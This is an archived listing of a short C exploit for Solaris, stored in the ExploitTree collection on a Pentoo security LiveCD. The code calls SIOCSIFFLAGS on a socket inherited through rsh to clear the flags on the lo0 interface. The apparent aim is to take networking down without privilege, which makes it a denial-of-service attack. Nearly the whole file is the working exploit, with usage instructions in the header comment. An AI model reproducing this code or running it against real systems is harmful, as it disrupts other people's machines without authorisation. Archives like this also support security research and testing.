home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / remote / ifreq.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  561b  |  28 lines

  1. /*
  2. * cc solaris_ifreq.c -o solaris_ifreq -lsocket
  3. * rsh localhost ./solaris_ifreq
  4. *
  5. *
  6. * solaris_ifreq.c
  7. *
  8. */
  9.  
  10. #include <stdio.h>
  11. #include <sys/types.h>
  12. #include <sys/socket.h>
  13. #include <sys/sockio.h>
  14. #include <net/if.h>
  15. #include <netinet/in.h>
  16.  
  17.  
  18. int main(int argc, char *argv[])
  19. {
  20.   struct ifreq please_break_me;
  21.  
  22.   strcpy( please_break_me.ifr_name, "lo0");
  23.   please_break_me.ifr_flags=0;
  24.  
  25.   if(ioctl(0, SIOCSIFFLAGS, &please_break_me)==-1)
  26.     perror("Damn it didnt work. Obviously not Solaris ;)");
  27. }
  28. /*                    www.hack.co.za              [2000]*/